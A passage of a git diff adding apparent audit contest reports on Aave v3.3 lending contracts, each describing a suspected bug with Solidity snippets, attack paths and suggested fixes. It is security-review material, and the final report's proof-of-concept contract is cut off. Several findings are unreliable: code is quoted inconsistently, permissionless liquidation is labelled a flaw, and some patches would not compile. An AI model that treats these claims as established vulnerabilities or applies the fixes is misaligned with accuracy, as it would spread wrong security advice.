vars.bonusCollateral.percentMul( + vars.liquidationProtocolFeePercentage +); +``` + +### Attack Path + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L75 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283-L290 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L664-L670 + +### Impact + +Unhealthy positions remain in the system + +### PoC + +1. User has a position worth $3000 +2. After the first liquidation (50%), the remaining position is worth $1500 +3. The position is below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` ($2000) +4. With a 1% liquidation bonus, the liquidator only gets $15 +5. If gas fee > $15, no liquidator will execute a liquidation +6. The position remains unhealthy but cannot be liquidated \ No newline at end of file diff --git a/021.md b/021.md new file mode 100644 index 0000000..70d6592 --- /dev/null +++ b/021.md @@ -0,0 +1,55 @@ +Obedient Lava Monkey + +Medium + +# Incorrect Fee Handling for `executeBackUnbacked` When `amount > reserve.unbacked` + +### **Summary** +In `BridgeLogic.sol`, the function calculates `backingAmount` as the lesser of `amount` or `reserve.unbacked`, but it does not adjust the fee proportionately to match the `backingAmount`, which will cause **overpayment of fees** for **backers** as the **protocol charges fees on the full `amount` instead of the actual `backingAmount`**. + +--- + +### **Root Cause** +In `BridgeLogic.sol`, [the line](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L132): +```solidity +uint256 backingAmount = (amount < reserve.unbacked) ? amount : reserve.unbacked; +``` +correctly limits `backingAmount` to `reserve.unbacked`. However, the `fee` remains based on the [original `amount`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L136): +```solidity +uint256 added = backingAmount + fee; +``` +This overcharges fees when `amount > reserve.unbacked`. + +--- + +### **Internal Pre-conditions** +1. **User** calls `executeBackUnbacked` with `amount` greater than `reserve.unbacked`. +2. The reserve has an `unbacked` amount less than the requested `amount`. + +--- + +### **External Pre-conditions** +1. The **caller** has approved sufficient tokens to cover `amount + fee` to the `aToken` contract. + +--- + +### **Attack Path** +1. A backer calls `executeBackUnbacked` with an `amount` significantly larger than `reserve.unbacked` (e.g., `amount = 1000`, `reserve.unbacked = 100`). +2. The function limits the `backingAmount` to `100`, but the `fee` is still calculated for the full `amount = 1000`. +3. The backer is forced to pay an excessive fee disproportionate to the actual `backingAmount`. + +--- + +### **Impact** +The **backer** suffers **excessive fee payments**, causing inefficiencies and potentially deterring liquidity provision. For example: +- If the `protocolFeeBps` is 100 (1%) and `fee = 10` for `amount = 1000`, the backer pays `fee = 10` instead of `fee = 1` for `backingAmount = 100`. + +--- + +### **Mitigation** +Adjust the `fee` proportionally to match the `backingAmount`: +```solidity +if (amount > reserve.unbacked) { + fee = fee.percentMul(reserve.unbacked).percentDiv(amount); +} +``` \ No newline at end of file diff --git a/022.md b/022.md new file mode 100644 index 0000000..2a6ae06 --- /dev/null +++ b/022.md @@ -0,0 +1,140 @@ +Beautiful Canvas Nightingale + +Medium + +# Whenever `liquidationProtocolFeeAmount` > 0, the virtual balance is not accounted for in full + +### Summary + +Due to calling `updateInterestRatesAndVirtualBalances` with `vars.actualCollateralToLiquidate` that is exclusive of the `liquidationProtocolFeeAmount`, the updated interest rates and virtual balance accounting will be inaccurate. + +```solidity + /** + * @notice Burns the collateral aTokens and transfers the underlying to the liquidator. + * @dev The function also updates the state and the interest rate of the collateral reserve. + * @param collateralReserve The data of the collateral reserve + * @param params The additional parameters needed to execute the liquidation function + * @param vars The executeLiquidationCall() function local vars + */ + function _burnCollateralATokens( + DataTypes.ReserveData storage collateralReserve, + DataTypes.ExecuteLiquidationCallParams memory params, + LiquidationCallLocalVars memory vars + ) internal { + DataTypes.ReserveCache memory collateralReserveCache = collateralReserve.cache(); + collateralReserve.updateState(collateralReserveCache); + collateralReserve.updateInterestRatesAndVirtualBalance( + collateralReserveCache, + params.collateralAsset, + 0, + vars.actualCollateralToLiquidate // @audit-info: note that it's EXclusive of the protocolLiquidationFee portion percentage; + ); +``` + + +```solidity + + if (params.receiveAToken) { + _liquidateATokens(reservesData, reservesList, usersConfig, collateralReserve, params, vars); + } else { + _burnCollateralATokens(collateralReserve, params, vars); + } + + // Transfer fee to treasury if it is non-zero + if (vars.liquidationProtocolFeeAmount != 0) { + uint256 liquidityIndex = collateralReserve.getNormalizedIncome(); + uint256 scaledDownLiquidationProtocolFee = vars.liquidationProtocolFeeAmount.rayDiv( + liquidityIndex +``` + + +### Root Cause + +You can see that the `actualCollateralToLiquidate` is exclusive of the protocol's liquidation fee portion: +```solidity + ( + vars.actualCollateralToLiquidate, + vars.actualDebtToLiquidate, + vars.liquidationProtocolFeeAmount, + vars.collateralToLiquidateInBaseCurrency + ) = _calculateAvailableCollateralToLiquidate( + collateralReserve.configuration, + vars.collateralAssetPrice, + vars.collateralAssetUnit, + vars.debtAssetPrice, + vars.debtAssetUnit, + vars.actualDebtToLiquidate, + vars.userCollateralBalance, + vars.liquidationBonus + ); +``` + +Because the `liquidationProtocolFee` is subtracted from it here in `_calculateAvailableCollateralToLiquidate`: +```solidity + AvailableCollateralToLiquidateLocalVars memory vars; + vars.collateralAssetPrice = collateralAssetPrice; + vars.liquidationProtocolFeePercentage = collateralReserveConfiguration + .getLiquidationProtocolFee(); + + // This is the base collateral to liquidate based on the given debt to cover + vars.baseCollateral = + ((debtAssetPrice * debtToCover * collateralAssetUnit)) / + (vars.collateralAssetPrice * debtAssetUnit); + + vars.maxCollateralToLiquidate = vars.baseCollateral.percentMul(liquidationBonus); + + if (vars.maxCollateralToLiquidate > userCollateralBalance) { + vars.collateralAmount = userCollateralBalance; + vars.debtAmountNeeded = ((vars.collateralAssetPrice * vars.collateralAmount * debtAssetUnit) / + (debtAssetPrice * collateralAssetUnit)).percentDiv(liquidationBonus); + } else { + vars.collateralAmount = vars.maxCollateralToLiquidate; + vars.debtAmountNeeded = debtToCover; + } + + vars.collateralToLiquidateInBaseCurrency = + (vars.collateralAmount * vars.collateralAssetPrice) / + collateralAssetUnit; + + if (vars.liquidationProtocolFeePercentage != 0) { + vars.bonusCollateral = + vars.collateralAmount - + vars.collateralAmount.percentDiv(liquidationBonus); + + vars.liquidationProtocolFee = vars.bonusCollateral.percentMul( + vars.liquidationProtocolFeePercentage + ); + vars.collateralAmount -= vars.liquidationProtocolFee; + } + return ( + vars.collateralAmount, + vars.debtAmountNeeded, + vars.liquidationProtocolFee, + vars.collateralToLiquidateInBaseCurrency + ); + } +``` + +### Internal Pre-conditions + +None. + +### External Pre-conditions + +None. + +### Attack Path + +Accounting problem barely contingent on any preconditions. + +### Impact + +The accounted interest rates will be incorrect, as the liquidity removed amount will reflect an amount that is lower than the actual liquidity removed amount. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/023.md b/023.md new file mode 100644 index 0000000..a57d8dd --- /dev/null +++ b/023.md @@ -0,0 +1,59 @@ +Massive Crimson Cougar + +Medium + +# Repaying a borrowed amount on the WETH reserve for the specified amount will never revert when it should on a lesser value + +## Title: Repaying a borrowed amount on the WETH reserve for the specified amount will never revert when it should on a lesser value +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L80-L82 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L83 + +## Impact +When the amount is being passed through the repay ETH function, if it is less than the repay amount then it is set to the paybackAmount as depicted below. +```solidity + if (amount < paybackAmount) { + paybackAmount = amount; + } +``` +The problem is that the validation in the requirement statement then checks to see if msg.value is >= paybackAmount. But, the msg.value is essentially the amount and if it is set to one and the same in the if statement above, then this require statement will always pass when the amount is less even though it should fail and revert as depicted below. +```solidity + require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); +``` +So, some people might get away with entering 1 WEI as the amount but still successfully pay off their loan. + +## POC +1. The investor developer uses your flash loan code. +2. They decide to borrow the money to do something then pay you back. +3. They borrow the money in the flash loan, which they have to payback at the end of the call. +4. The amount passed to the amount parameter is less than the flash loan amount, let's say 1 WEI, maybe a bit higher. +5. The call is successful but they lose money on the flash loan call. +6. So, instead of the call reverting, it is instead paid back successfully and Aave lose money, but don't realise. + +## Mitigation +Refactor the code with a few tweaks like setting the amount to msg.value and changing the require and if statement. A suggestion is depicted below. +```diff + function repayETH(address, uint256 amount, address onBehalfOf) external payable override { + uint256 paybackAmount = IERC20(POOL.getReserveVariableDebtToken(address(WETH))).balanceOf( + onBehalfOf + ); + ++ amount = msg.value; + +- if (amount < paybackAmount) { +- paybackAmount = amount; +- } ++ require(amount >= paybackAmount, 'msg.value is less than repayment amount'); +- require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); + WETH.deposit{value: paybackAmount}(); + POOL.repay( + address(WETH), + paybackAmount, + uint256(DataTypes.InterestRateMode.VARIABLE), + onBehalfOf + ); + + + // refund remaining dust eth + if (amount > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); + } +``` \ No newline at end of file diff --git a/024.md b/024.md new file mode 100644 index 0000000..36c099b --- /dev/null +++ b/024.md @@ -0,0 +1,39 @@ +Amusing Silver Tadpole + +Medium + +# Lack of Access Control in setUserUseReserveAsCollateral and setUserEMode + +**Affected line of code:** https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L330-L345 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L770-L783 + + +**Severity:** Medium + +**Summary:** +The functions `setUserUseReserveAsCollateral` and `setUserEMode` lack proper access control, which allows unauthorized users to alter another user's collateral status or eMode category. Additionally, while the contract reverts as expected, the revert behavior is inconsistent, leading to potential vulnerabilities under specific conditions. + +**Root Cause:** +- Missing Access Control: Both functions do not check if the caller is the user they are modifying, which can allow an attacker to change another user's settings. +- EVM Revert Mismatch: The revert condition matches the expected logic, but the inconsistent behavior of the revert could lead to unexpected results, leaving room for potential exploitation. + +**Impact:** +Unauthorized users could change the collateral status or eMode settings of other users, leading to improper asset management. The inconsistent revert behavior may also allow attackers to bypass the protection in some cases. + +**PoC (Proof of Concept):** +Due to the revert mismatch, a full PoC cannot be provided. The revert works in most cases but may fail in others, making the behavior unreliable. + +**Mitigation:** +Add access control to both functions to ensure only the user involved can change their settings: + +```solidity + +require(msg.sender == assetOwner, "Access denied: Only asset owner can change collateral status"); +``` + +```solidity + +require(msg.sender == user, "Access denied: Only the user can change their eMode"); +``` +Ensure consistent revert behavior to avoid exploitation in edge cases. \ No newline at end of file diff --git a/025.md b/025.md new file mode 100644 index 0000000..2bfa92d --- /dev/null +++ b/025.md @@ -0,0 +1,57 @@ +Obedient Lava Monkey + +Medium + +# Failure to Include Borrowed Amount in `liquidityTaken` Causes Reserve Imbalances and Incorrect Interest Rates + +### Summary +A missing inclusion of `params.amount` in `liquidityTaken` during interest rate and virtual balance updates will cause reserve imbalances for depositors as the protocol will fail to reflect accurate utilization and interest rates, allowing borrowers to exploit artificially low borrowing costs. + +--- + +### Root Cause +In BorrowLogic.sol, the following call to [updateInterestRatesAndVirtualBalance](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L121-L126) does not account for the borrowed amount (`params.amount`) in `liquidityTaken` when `params.releaseUnderlying` is [false](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L125): + +```solidity +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + 0, // liquidityAdded + params.releaseUnderlying ? params.amount : 0 // liquidityTaken +); +``` + +The `liquidityTaken` parameter must always include `params.amount`, as borrowing reduces available liquidity regardless of the `releaseUnderlying` flag. +This logic incorrectly skips updating reserve utilization and interest rates for the borrowed amount when `releaseUnderlying` is `false`. However, borrowing always reduces available liquidity (`liquidityTaken`), regardless of whether the underlying asset is physically released. As a result, reserves are left in an inconsistent state with inaccurate utilization rates and miscalculated interest rates. + +This is a clear oversight, as the `updateInterestRatesAndVirtualBalance` function explicitly relies on `liquidityTaken` to calculate new rates and balances, meaning the omission directly causes reserve imbalances. + +--- + +### Internal Pre-conditions +1. **Borrower** calls `executeBorrow()` with `params.releaseUnderlying` set to `false`. +2. The `params.amount` borrowed is greater than 0. + +--- + +### External Pre-conditions +1. The reserve is active and has sufficient liquidity to allow borrowing. +2. The protocol uses virtual accounting for the reserve (if applicable). + +--- + +### Attack Path +1. **Borrower** initiates a borrow transaction with `releaseUnderlying` set to `false`. +2. The borrowed amount is not reflected in `liquidityTaken`. +3. The protocol fails to update interest rates and virtual balances accurately. +4. Borrowers exploit artificially low interest rates, draining liquidity and reducing depositor returns. + +--- + +### Impact +The **protocol reserves** suffer an imbalance where utilization rates are under-calculated, and interest rates are too low. Borrowers gain unfairly reduced borrowing costs, potentially depleting reserves and diminishing depositor yields. + +--- + +### Mitigation +Update `executeBorrow` to always include `params.amount` in `liquidityTaken` when calling `updateInterestRatesAndVirtualBalance`. \ No newline at end of file diff --git a/026.md b/026.md new file mode 100644 index 0000000..0b9ccb7 --- /dev/null +++ b/026.md @@ -0,0 +1,51 @@ +Obedient Lava Monkey + +Medium + +# Incorrect Handling of Debt Ceiling in Isolation Mode Allows Over-Borrowing + +### Summary +The failure to correctly adjust the `isolationModeTotalDebt` when borrowing in isolation mode will cause an over-borrowing vulnerability for isolated assets as the protocol will miscalculate the debt ceiling and allow users to exceed the intended borrowing limits. + +--- + +### Root Cause +In BorrowLogic.sol, the [isolationModeTotalDebt](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L110-L114) calculation incorrectly assumes that the borrowed amount (`params.amount`) can be directly scaled without verifying the decimals of the isolated asset. + +#### Code Snippet: +```solidity +uint256 nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt += (params.amount / + 10 ** (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); +``` + +The calculation assumes that `getDecimals()` for the reserve and `DEBT_CEILING_DECIMALS` will align correctly for every isolated asset. If there is a mismatch in decimals or if the borrowed amount is not properly scaled, the `isolationModeTotalDebt` can be incorrectly calculated, allowing users to bypass the debt ceiling. + +--- + +### Internal Pre-conditions +1. The **reserve** is configured in isolation mode with a defined `debt ceiling`. +2. The **user** borrows an amount that exceeds the scaled ceiling when miscalculated. + +--- + +### External Pre-conditions +1. The isolated asset has a mismatch between its internal decimals and the expected `DEBT_CEILING_DECIMALS`. + +--- + +### Attack Path +1. **User** borrows an amount in isolation mode with a large enough value to exploit the miscalculation. +2. The protocol updates `isolationModeTotalDebt` with an incorrectly scaled value due to decimal mismatch. +3. The attacker repeats the process to borrow more than the actual debt ceiling, potentially draining the protocol's reserves. + +--- + +### Impact +The **protocol reserves** for isolated assets are over-utilized, bypassing intended risk controls. Depositors are exposed to significant risks as reserves may be depleted due to excessive borrowing. + +--- + +### Mitigation +Ensure proper scaling of `params.amount` by verifying and aligning decimals explicitly. \ No newline at end of file diff --git a/027.md b/027.md new file mode 100644 index 0000000..0913db5 --- /dev/null +++ b/027.md @@ -0,0 +1,55 @@ +Obedient Lava Monkey + +Medium + +# Incorrect Handling of `setBorrowing` on First Borrow Allows Permanent Borrowing State Even After Repayment + +### Summary +Failure to properly reset the borrowing state in `userConfig` when the first borrowing is followed by full repayment will cause an incorrect perpetual borrowing state for users as the protocol will incorrectly mark them as borrowers despite having no outstanding debt. + +--- + +### Root Cause +In BorrowLogic.sol, the `executeBorrow` function sets the borrowing state for a user [as follows](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L105-L107): + +```solidity +if (isFirstBorrowing) { + userConfig.setBorrowing(reserve.id, true); +} +``` + +However, there is no mechanism in `executeRepay` to reset this state when the user fully repays their debt. This leads to users being marked as borrowers even after they clear all their liabilities, resulting in unintended behavior in other parts of the protocol, such as liquidation checks or borrowing power calculations. + +--- + +### Internal Pre-conditions +1. **User** performs their first borrowing (`isFirstBorrowing` is `true`). +2. **User** repays their entire debt through `executeRepay`. + +--- + +### External Pre-conditions +1. The debt token’s balance (`variableDebt`) for the user reaches zero after repayment. + +--- + +### Attack Path +1. **User** borrows for the first time, triggering `userConfig.setBorrowing(reserve.id, true)`. +2. **User** fully repays their debt, but the borrowing state remains `true`. +3. The protocol continues to treat the user as a borrower, affecting actions like collateral usage or liquidation status. + +--- + +### Impact +The **users** suffer incorrect protocol behavior, such as reduced borrowing power or improper liquidation attempts. The **protocol** risks inefficiencies in handling user states and calculations. + +--- + +### Mitigation +Update the `executeRepay` function to reset the borrowing state when the user's debt is fully repaid: + +```solidity +if (variableDebt - paybackAmount == 0) { + userConfig.setBorrowing(reserve.id, false); +} +``` \ No newline at end of file diff --git a/028.md b/028.md new file mode 100644 index 0000000..4514916 --- /dev/null +++ b/028.md @@ -0,0 +1,61 @@ +Obedient Lava Monkey + +Medium + +# Improper Handling of Virtual Balances Allows Reserve Virtual Accounting Desynchronization + +### Summary +The failure to correctly update `virtualUnderlyingBalance` in `updateInterestRatesAndVirtualBalance` when virtual accounting is active will cause reserve desynchronization for reserves using virtual balances as the virtual balance can become out of sync with actual liquidity. + +--- + +### Root Cause +In ReserveLogic.sol, the `updateInterestRatesAndVirtualBalance` function adjusts `virtualUnderlyingBalance` only when [liquidityAdded](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L193-L195) or [liquidityTaken](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L196-L198) is greater than zero: + +```solidity +if (reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + if (liquidityAdded > 0) { + reserve.virtualUnderlyingBalance += liquidityAdded.toUint128(); + } + if (liquidityTaken > 0) { + reserve.virtualUnderlyingBalance -= liquidityTaken.toUint128(); + } +} +``` + +This logic does not account for scenarios where borrowing or repayment affects the underlying liquidity but does not reflect as `liquidityAdded` or `liquidityTaken`. For example, when virtual balances are manually adjusted or updated indirectly, this omission can lead to desynchronized virtual balances. +Imagine a bank keeps a "virtual ledger" of its money, separate from the actual cash in its vault. If someone borrows or repays money in a way that doesn't directly update the virtual ledger, the ledger can become out of sync with the real cash. This mismatch causes the bank to miscalculate interest rates or think it has more or less money than it actually does. + +--- + +### Internal Pre-conditions +1. The reserve is configured with virtual accounting active. +2. Borrowing or repayment indirectly affects the underlying liquidity but does not register `liquidityAdded > 0` or `liquidityTaken > 0`. + +--- + +### External Pre-conditions +1. Virtual accounting logic relies on synchronization between `virtualUnderlyingBalance` and actual liquidity. + +--- + +### Attack Path +1. **User** borrows or repays indirectly affecting liquidity. +2. Virtual balance is not updated due to the lack of direct `liquidityAdded` or `liquidityTaken`. +3. Protocol operates on desynchronized virtual balances, leading to incorrect interest rate calculations or liquidity accounting. + +--- + +### Impact +The **protocol reserves** using virtual accounting suffer from desynchronized balances, causing incorrect interest rate calculations and liquidity mismanagement. + +--- + +### Mitigation +Ensure `virtualUnderlyingBalance` is always synchronized with actual liquidity changes by expanding the update logic: + +```solidity +if (reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + reserve.virtualUnderlyingBalance = calculateActualUnderlyingBalance(); +} +``` \ No newline at end of file diff --git a/029.md b/029.md new file mode 100644 index 0000000..46350d8 --- /dev/null +++ b/029.md @@ -0,0 +1,84 @@ +Obedient Lava Monkey + +Medium + +# Missing Check for Active Reserve Status Allows Borrowing from Disabled Reserves + +### Summary +The lack of a check to ensure the reserve is active in the `executeBorrow` function will cause unintended borrowing from disabled reserves, allowing users to exploit reserves that should not permit borrowing. + +--- + +### Root Cause +There is no validation to confirm that the reserve's status is active before processing the borrow. Reserves can be temporarily disabled for maintenance or risk management, and the absence of this check enables borrowing from reserves that should not be accessible. + +#### Code Snippet: +```solidity +DataTypes.ReserveData storage reserve = reservesData[params.asset]; +// Missing reserve status validation (e.g., reserve.isActive) +reserve.updateState(reserveCache); +``` + +In the `ReserveLogic` library, reserves have configurations stored in the [DataTypes.ReserveConfigurationMap](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L27). [This includes the](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L183-L185) **`isActive`** flag, which is intended to determine whether a reserve is available for operations like borrowing, repaying, or supplying liquidity. However, **`BorrowLogic.executeBorrow` does not check this flag before proceeding with state updates**. The `getActive` function explicitly checks the `ACTIVE_MASK` bit in the reserve's configuration: + +```solidity +function getActive(DataTypes.ReserveConfigurationMap memory self) internal pure returns (bool) { + return (self.data & ACTIVE_MASK) != 0; +} +``` +This clearly indicates that reserves have an active state flag designed to enable or disable operations like borrowing or supplying liquidity. However, this state is not being validated in the `executeBorrow` function of `BorrowLogic`. +From `ReserveLogic.sol`, reserves [maintain their configurations](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L295-L296) via the `ReserveConfiguration` library: + +```solidity +reserveCache.reserveConfiguration = reserve.configuration; +reserveCache.reserveFactor = reserveCache.reserveConfiguration.getReserveFactor(); +``` + +The `ReserveConfiguration` library provides a method (`getActive`) to retrieve the **active status** of a reserve: + +```solidity +function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { + return (self.data & ~ACTIVE_MASK) != 0; +} +``` +When `BorrowLogic.executeBorrow` fetches a reserve's data, it does not validate the reserve's active status. For instance: + +```solidity +DataTypes.ReserveData storage reserve = reservesData[params.asset]; +// Missing check for reserve.isActive or equivalent +reserve.updateState(reserveCache); +``` + +Without this validation, the protocol will process borrowing operations on a reserve that may be disabled due to maintenance, risk mitigation, or other factors, leading to unintended consequences. + +--- + +### Internal Pre-conditions +1. **Reserve** is marked as inactive (e.g., for maintenance or risk mitigation). +2. **User** attempts to borrow from the inactive reserve. + +--- + +### External Pre-conditions +1. The reserve is disabled on-chain but still has sufficient liquidity. + +--- + +### Attack Path +1. **User** identifies a reserve that is disabled but lacks an active status check in `executeBorrow`. +2. The user borrows from the reserve despite it being marked as inactive. +3. The protocol fails to enforce its intended restrictions, allowing unintended borrowing. + +--- + +### Impact +The **protocol** suffers potential financial and operational risks by enabling borrowing from reserves that are supposed to be inactive. This may lead to reserve depletion or destabilization. + +--- + +### Mitigation +Add a validation step in `executeBorrow` to ensure the reserve is active before processing the borrowing logic: + +```solidity +require(reserve.isActive, "Reserve is not active for borrowing"); +``` \ No newline at end of file diff --git a/030.md b/030.md new file mode 100644 index 0000000..4a6aac6 --- /dev/null +++ b/030.md @@ -0,0 +1,54 @@ +Obedient Lava Monkey + +Medium + +# Improper Fee Calculation in `executeBackUnbacked` May Lead to Loss of Treasury Fees + +### **Summary** +A miscalculation in the fee allocation logic in `executeBackUnbacked` will cause **incorrect fee distribution** for the **protocol treasury** as **rounding errors in `fee.percentMul(protocolFeeBps)`** can lead to a portion of the fee being lost. + +--- + +### **Root Cause** +In BridgeLogic.sol, the fee is split into [protocol fees and liquidity provider (LP) fees](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L134-L135) using percentage math: +```solidity +uint256 feeToProtocol = fee.percentMul(protocolFeeBps); // Calculates protocol's share of the fee +uint256 feeToLP = fee - feeToProtocol; // Remainder allocated to LPs +``` +However, **`percentMul` truncates results due to integer division**, leading to rounding errors. This causes the `feeToProtocol + feeToLP` to be slightly less than the total `fee`, resulting in a small portion of the fee being lost. `percentMul`**, defined in Aave’s math libraries, performs multiplication followed by integer division (`(a * b) / 10_000`), which inherently truncates fractional results. This truncation ensures the sum of `feeToProtocol` and `feeToLP` is slightly less than `fee` due to the discarded remainder. + +--- + +### **Internal Pre-conditions** +1. The `protocolFeeBps` is set to a valid value (e.g., 10_000 BPS = 100%). +2. `executeBackUnbacked` is called with a non-zero `fee`. + +--- + +### **External Pre-conditions** +1. The caller interacts with the contract, triggering `executeBackUnbacked`. +2. Dependencies (e.g., `percentMul`) are assumed to be functional but subject to truncation. + +--- + +### **Attack Path** +1. A user backs unbacked tokens via `executeBackUnbacked` with a specified `fee`. +2. The protocol calculates `feeToProtocol` and `feeToLP`. +3. Due to rounding in `percentMul`, the total of these values is slightly less than the original `fee`. +4. The difference is effectively "lost" as it’s not allocated to the protocol or LPs. + +--- + +### **Impact** +The **protocol treasury** and **LPs** collectively lose a small fraction of the fees due to rounding errors, leading to potential financial inefficiency over many transactions. While each transaction's impact is minimal, the cumulative effect could result in significant losses. + +--- + +### **Mitigation** +Adjust the calculation to ensure no fees are lost by assigning the rounding error to the LPs or the protocol. + +```solidity +uint256 feeToProtocol = fee.percentMul(protocolFeeBps); +uint256 feeToLP = fee - feeToProtocol; // Handles remainder implicitly +assert(feeToProtocol + feeToLP == fee); // Ensures all fees are accounted for +``` \ No newline at end of file diff --git a/031.md b/031.md new file mode 100644 index 0000000..351572d --- /dev/null +++ b/031.md @@ -0,0 +1,126 @@ +Glamorous Plum Baboon + +High + +# Malicious Actor Can Liquidate Excess Collateral and Impact Protocol Stability + +### Summary + +The lack of proper access control in the `LiquidationLogic:executeLiquidationCall` function will cause an unauthorized liquidation for protocol users as malicious actors will call the function with malicious parameters to liquidate collateral without permission. + +### Root Cause + + In `LiquidationLogic.sol:executeLiquidationCall` function lacks an access control mechanism, which will cause a potential security vulnerability. Specifically, the function does not check whether the caller has the necessary permissions, allowing any address to invoke it and potentially execute malicious liquidation actions. This oversight could lead to unauthorized users performing liquidations, impacting the protocol's security. + + + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200-L434 + + +### Internal Pre-conditions + +For the **Lack of Access Control** vulnerability in the `executeLiquidationCall` function, the following internal pre-conditions would need to be met in order for the attack path or vulnerability to be exploited: + +1. **Any external actor** needs to call `executeLiquidationCall` without proper authorization to set **`params.user`** to be **any user**. +2. **Any external actor** needs to call `executeLiquidationCall` to set **`params.collateralAsset`** and **`params.debtAsset`** to be **valid collateral and debt assets** within the system, without verifying if they have the permission to execute the liquidation. +3. **Any external actor** needs to call `executeLiquidationCall` to set **`params.debtToCover`** to be **at most the amount that is actually owed** (or even beyond the user's debt). +4. **Any external actor** needs to call `executeLiquidationCall` to bypass access control and modify liquidation parameters **without authentication**. + +### External Pre-conditions + +For the **Lack of Access Control** vulnerability in the `executeLiquidationCall` function, the following external pre-conditions would need to be met in order for the attack path or vulnerability to be exploited: + +1. **Any external user or malicious actor** needs to have the ability to **interact with the contract** by calling the `executeLiquidationCall` function, without any restrictions such as authentication or authorization checks. +2. **External entities** (such as a malicious user or bot) need to be able to **provide parameters** like **`params.user`**, **`params.collateralAsset`**, and **`params.debtAsset`** to execute a liquidation on a user without verifying their authority or permission to do so. +3. **External interactions** such as **external price feeds** or **oracle updates** may feed in manipulated or false data, enabling an attacker to influence liquidation calculations if no validation or access control is present on who can call the liquidation function. +4. **A malicious actor** needs to exploit the ability to **call the function with manipulated parameters**, potentially triggering a liquidation event on an innocent user or themselves by bypassing proper authorization checks. + +### Attack Path + + The attack path for the **Lack of Access Control** vulnerability in the `executeLiquidationCall` function: + +1. **Malicious User** calls the `executeLiquidationCall` function on the smart contract, without any authentication or access control mechanisms restricting the caller. +2. The **Malicious User** provides manipulated parameters in the function call, such as their own address as `params.user`, and chooses arbitrary assets for `params.collateralAsset` and `params.debtAsset`, bypassing any validation checks that would normally prevent unauthorized access. +3. The **smart contract** executes the function with the parameters provided by the malicious actor, proceeding with the liquidation process, which includes calling internal functions like `_calculateAvailableCollateralToLiquidate`, `_burnDebtTokens`, and transferring collateral and debt assets. +4. The **malicious actor** successfully triggers a liquidation of a user’s collateral, potentially liquidating assets they don’t own or performing an undesired liquidation event. +5. The **smart contract** does not perform proper validation to ensure the caller is authorized, so the attack goes unchecked and could lead to significant financial loss for the victim or the protocol. + +In this attack, the attacker exploits the lack of access control, bypassing any authorization checks, and is able to cause liquidations that should only be allowed for authorized roles. + +### Impact + +The affected party (the protocol) suffers an approximate loss from the mishandling of collateral and debt due to unauthorized liquidation, leading to potential financial risks, manipulation of liquidation events, or loss of funds. The attacker gains the opportunity to profit from the unauthorized liquidation process + +### PoC + +// Assuming the LiquidationLogic contract and related contracts are already deployed + +// Exploiting the executeLiquidationCall function without permission +contract MaliciousActor { + address liquidationLogicAddress; // Address of the LiquidationLogic contract + address targetUser; // The user whose assets are to be 